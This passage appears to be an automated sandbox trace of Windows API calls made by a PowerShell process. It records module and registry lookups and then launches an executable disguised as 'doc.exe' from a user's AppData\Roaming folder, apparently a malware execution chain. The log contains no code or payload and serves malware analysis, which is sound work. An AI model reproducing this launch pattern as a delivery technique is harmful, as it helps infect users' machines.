lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0205.275] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0205.276] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0205.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d6a4) returned 1 [0205.276] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a8d968 | out: lpFileInformation=0x5a8d968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d6a0) returned 1 [0205.276] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0205.276] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0205.277] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a8d5c8, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0205.280] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0205.281] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0205.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0205.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d4ac) returned 1 [0205.282] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a8d770 | out: lpFileInformation=0x5a8d770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d4a8) returned 1 [0205.286] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0205.289] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0205.434] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0205.435] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0205.435] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0205.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d4ac) returned 1 [0205.435] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a8d770 | out: lpFileInformation=0x5a8d770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d4a8) returned 1 [0205.440] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0205.445] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0205.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0205.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0205.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d4ac) returned 1 [0205.446] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a8d770 | out: lpFileInformation=0x5a8d770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d4a8) returned 1 [0205.452] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0207.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0207.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0207.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0207.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0207.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0207.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0208.296] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e540 | out: phkResult=0x5a8e540*=0x2b0) returned 0x0 [0208.296] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e560, lpData=0x0, lpcbData=0x5a8e55c*=0x0 | out: lpType=0x5a8e560*=0x1, lpData=0x0, lpcbData=0x5a8e55c*=0x56) returned 0x0 [0208.296] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e560, lpData=0x267b6f8, lpcbData=0x5a8e55c*=0x56 | out: lpType=0x5a8e560*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e55c*=0x56) returned 0x0 [0208.297] RegCloseKey (hKey=0x2b0) returned 0x0 [0208.297] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e540 | out: phkResult=0x5a8e540*=0x2b0) returned 0x0 [0208.297] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e560, lpData=0x0, lpcbData=0x5a8e55c*=0x0 | out: lpType=0x5a8e560*=0x1, lpData=0x0, lpcbData=0x5a8e55c*=0x56) returned 0x0 [0208.297] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e560, lpData=0x267ba0c, lpcbData=0x5a8e55c*=0x56 | out: lpType=0x5a8e560*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e55c*=0x56) returned 0x0 [0208.297] RegCloseKey (hKey=0x2b0) returned 0x0 [0208.298] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e540 | out: phkResult=0x5a8e540*=0x2b0) returned 0x0 [0208.298] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e560, lpData=0x0, lpcbData=0x5a8e55c*=0x0 | out: lpType=0x5a8e560*=0x1, lpData=0x0, lpcbData=0x5a8e55c*=0x56) returned 0x0 [0208.298] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e560, lpData=0x267bd08, lpcbData=0x5a8e55c*=0x56 | out: lpType=0x5a8e560*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e55c*=0x56) returned 0x0 [0208.298] RegCloseKey (hKey=0x2b0) returned 0x0 [0208.298] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e540 | out: phkResult=0x5a8e540*=0x2b0) returned 0x0 [0208.299] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e560, lpData=0x0, lpcbData=0x5a8e55c*=0x0 | out: lpType=0x5a8e560*=0x1, lpData=0x0, lpcbData=0x5a8e55c*=0x56) returned 0x0 [0208.299] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e560, lpData=0x267c01c, lpcbData=0x5a8e55c*=0x56 | out: lpType=0x5a8e560*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e55c*=0x56) returned 0x0 [0208.299] RegCloseKey (hKey=0x2b0) returned 0x0 [0208.299] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e58c | out: phkResult=0x5a8e58c*=0x2b0) returned 0x0 [0208.299] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e5ac, lpData=0x0, lpcbData=0x5a8e5a8*=0x0 | out: lpType=0x5a8e5ac*=0x1, lpData=0x0, lpcbData=0x5a8e5a8*=0x56) returned 0x0 [0208.300] RegQueryValueExW (in: hKey=0x2b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8e5ac, lpData=0x267c324, lpcbData=0x5a8e5a8*=0x56 | out: lpType=0x5a8e5ac*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8e5a8*=0x56) returned 0x0 [0208.300] RegCloseKey (hKey=0x2b0) returned 0x0 [0208.327] CoTaskMemAlloc (cb=0x20c) returned 0x5b4eb20 [0208.327] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5b4eb20 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0208.327] CoTaskMemFree (pv=0x5b4eb20) [0208.327] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0208.327] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0208.328] EtwEventActivityIdControl () returned 0x0 [0208.328] SetEvent (hEvent=0x2b4) returned 1 [0208.328] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a8e8e8*=0x2b4, lpdwindex=0x5a8e70c | out: lpdwindex=0x5a8e70c) returned 0x0 [0208.329] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8e824, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0208.330] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e9e0 | out: lpConsoleScreenBufferInfo=0x5a8e9e0) returned 1 [0208.331] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e9e0 | out: lpConsoleScreenBufferInfo=0x5a8e9e0) returned 1 [0208.455] EtwEventActivityIdControl () returned 0x0 [0208.455] EtwEventActivityIdControl () returned 0x0 [0208.455] EtwEventActivityIdControl () returned 0x0 [0208.466] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8e7c8, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0208.470] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe")) returned 0x2020 [0208.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0208.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x2b, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0208.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e670) returned 1 [0208.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), fInfoLevelId=0x0, lpFileInformation=0x5a8e934 | out: lpFileInformation=0x5a8e934*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe59bb710, ftCreationTime.dwHighDateTime=0x1d7b45b, ftLastAccessTime.dwLowDateTime=0xe59bb710, ftLastAccessTime.dwHighDateTime=0x1d7b45b, ftLastWriteTime.dwLowDateTime=0xe7058810, ftLastWriteTime.dwHighDateTime=0x1d7b45b, nFileSizeHigh=0x0, nFileSizeLow=0x9ba00)) returned 1 [0208.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e66c) returned 1 [0208.473] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe")) returned 0x2020 [0208.476] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0208.530] LocalAlloc (uFlags=0x0, uBytes=0x56) returned 0x5b31ec8 [0208.530] LocalAlloc (uFlags=0x0, uBytes=0x36) returned 0x5b2de48 [0208.531] ShellExecuteExW (in: pExecInfo=0x2692f14*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpParameters=0x0, lpDirectory="C:\\Users\\kEecfMwgj\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2692f14*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpParameters=0x0, lpDirectory="C:\\Users\\kEecfMwgj\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x558)) returned 1 [0209.553] LocalFree (hMem=0x5b31ec8) returned 0x0 [0209.553] LocalFree (hMem=0x5b2de48) returned 0x0 [0209.554] EtwEventActivityIdControl () returned 0x0 [0209.554] EtwEventActivityIdControl () returned 0x0 [0209.554] EtwEventActivityIdControl () returned 0x0 [0209.556] EtwEventActivityIdControl () returned 0x0 [0209.556] EtwEventActivityIdControl () returned 0x0 [0209.556] EtwEventActivityIdControl () returned 0x0 [0209.556] EtwEventActivityIdControl () returned 0x0 [0209.556] EtwEventActivityIdControl () returned 0x0 [0209.556] EtwEventActivityIdControl () returned 0x0 [0209.557] SetEvent (hEvent=0x354) returned 1 [0209.558] SetEvent (hEvent=0x348) returned 1 [0209.558] SetEvent (hEvent=0x34c) returned 1 [0209.558] SetEvent (hEvent=0x350) returned 1 [0209.558] SetEvent (hEvent=0x364) returned 1 [0209.558] SetEvent (hEvent=0x358) returned 1 [0209.558] SetEvent (hEvent=0x35c) returned 1 [0209.558] SetEvent (hEvent=0x360) returned 1 [0209.558] SetEvent (hEvent=0x368) returned 1 [0209.558] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a8f140*=0x370, lpdwindex=0x5a8ef64 | out: lpdwindex=0x5a8ef64) returned 0x0 [0209.564] SetThreadUILanguage (LangId=0x0) returned 0x409 [0209.565] CoCreateGuid (in: pguid=0x5a8efac | out: pguid=0x5a8efac*(Data1=0xa253303d, Data2=0x45f9, Data3=0x4a15, Data4=([0]=0x87, [1]=0x5e, [2]=0x4b, [3]=0x79, [4]=0xce, [5]=0x8a, [6]=0x6d, [7]=0xd8))) returned 0x0 [0209.566] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8ef8c | out: lpPerformanceCount=0x5a8ef8c*=1264058893254) returned 1 [0209.571] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8ef54 | out: lpPerformanceCount=0x5a8ef54*=1264059426717) returned 1 [0209.571] EtwEventActivityIdControl () returned 0x0 [0209.571] EtwEventActivityIdControl () returned 0x0 [0209.571] EtwEventActivityIdControl () returned 0x0 [0209.573] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x5a8eb00*=0x548, lpdwindex=0x5a8e9c4 | out: lpdwindex=0x5a8e9c4) returned 0x0 [0209.573] SetEvent (hEvent=0x564) returned 1 [0209.573] SetEvent (hEvent=0x548) returned 1 [0209.573] EtwEventActivityIdControl () returned 0x0 [0209.573] SetEvent (hEvent=0x5ac) returned 1 [0209.573] SetEvent (hEvent=0x564) returned 1 [0209.574] SetEvent (hEvent=0x548) returned 1 [0209.574] SetEvent (hEvent=0x5c4) returned 1 [0209.574] SetEvent (hEvent=0x5b8) returned 1 [0209.574] SetEvent (hEvent=0x5bc) returned 1 [0209.574] SetEvent (hEvent=0x5c0) returned 1 [0209.574] SetEvent (hEvent=0x5c8) returned 1 [0209.574] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a8f140*=0x370, lpdwindex=0x5a8ef64 | out: lpdwindex=0x5a8ef64) returned 0x0 [0210.326] CoGetContextToken (in: pToken=0x5a8f52c | out: pToken=0x5a8f52c) returned 0x0 [0210.326] CoUninitialize () Thread: id = 149 os_tid = 0xc24 Thread: id = 151 os_tid = 0xc1c Thread: id = 155 os_tid = 0xc60 [0166.120] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0166.123] CoGetContextToken (in: pToken=0x5d7f2c4 | out: pToken=0x5d7f2c4) returned 0x0 [0166.124] CObjectContext::QueryInterface () returned 0x0 [0166.124] CObjectContext::GetCurrentThreadType () returned 0x0 [0166.124] Release () returned 0x0 [0166.124] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0166.124] CoUninitialize () [0182.727] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0182.727] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0182.727] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0182.728] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0182.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0182.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow\\PSWorkflow.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflow\\psworkflow.psd1")) returned 0xffffffff [0182.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0182.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility\\PSWorkflowUtility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflowutility\\psworkflowutility.psd1")) returned 0xffffffff [0182.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0182.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager\\NetworkSwitchManager.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\networkswitchmanager\\networkswitchmanager.psd1")) returned 0xffffffff [0182.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0182.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0182.729] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: 